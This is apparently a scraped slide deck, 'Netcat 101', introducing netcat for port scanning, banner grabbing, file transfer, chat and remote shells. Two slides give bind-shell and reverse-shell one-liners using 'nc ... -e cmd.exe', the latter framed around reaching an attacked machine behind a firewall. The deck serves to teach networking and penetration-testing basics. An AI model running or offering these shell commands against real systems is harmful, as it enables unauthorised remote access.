11

Click here to load reader

Netcat 101 by-mahesh-beema

Embed Size (px)

Citation preview

Page 1: Netcat 101 by-mahesh-beema

- - by Mahesh Bheema

Page 2: Netcat 101 by-mahesh-beema

It is a tool that can read and write data across networks, using TCP or UDP protocol. It can be operated both in server and client mode.

Page 3: Netcat 101 by-mahesh-beema

Port scanning Banner Grabbing Backdoor File transfer Port Redirector Chatting and Many more…

Page 4: Netcat 101 by-mahesh-beema

Port scanning is the process of scanning a specified host and looking for ports that may be open or closed.

Here is the syntax to scan ports… # nc -v -z IP_Address port_range -v is for verbosity (without –v it wont display result in output)

Page 5: Netcat 101 by-mahesh-beema

Banner grabbing is a technique to determine the service running or application, version, operating system. Using the below syntax :

# nc -v IP_Address port when you hit enter, After a few seconds you

see some information about your IP address and port number, then write GET / HTTP/1.1 and hit enter and see some information about your victim.

Page 6: Netcat 101 by-mahesh-beema

File transfer/ chat works by setting up a server and client.

File Transfer nc –l –p 1234 > testfile.txt [Reciever’s end]

nc IP_Address 1234 < testfile.txt [Sender’s end]

type abc.jpeg | nc –lvp 8080

nc –l Server_IP 8080 > abc.jpeg

Chat Server nc –l –p 1234 [Reciever’s end]

nc IP_Address 1234 [Sender’s end]

Page 7: Netcat 101 by-mahesh-beema

Netcat has the ability of providing a remote shell as well. We can do this in two ways…

1. Bind Shell 2. Reverse Shell

Page 8: Netcat 101 by-mahesh-beema

We can take cmd.exe/shell and bind it to a local port, and anyone connecting to this port will be presented with command prompt belonging to that machine. This is known as a BIND SHELL. Syntax as follows…

# nc –l -p 1337 –e cmd.exe [Server] # nc –v Server_IP 1337 [Client]

Page 9: Netcat 101 by-mahesh-beema

Reverse Shell: Netcat can also "send" a shell to another

instance of a listening Netcat session. This is especially useful if the attacked machine is behind a firewall or otherwise nat'ed

# nc –lvp 1337 [Server] # nc –v Server_IP 1337 –e cmd.exe [Client]

Page 10: Netcat 101 by-mahesh-beema

It's not always the best tool for the job, but if I was stranded on an island, I'd take Netcat with me ☺

Page 11: Netcat 101 by-mahesh-beema

Special Thanks to CA Technologies for the venue.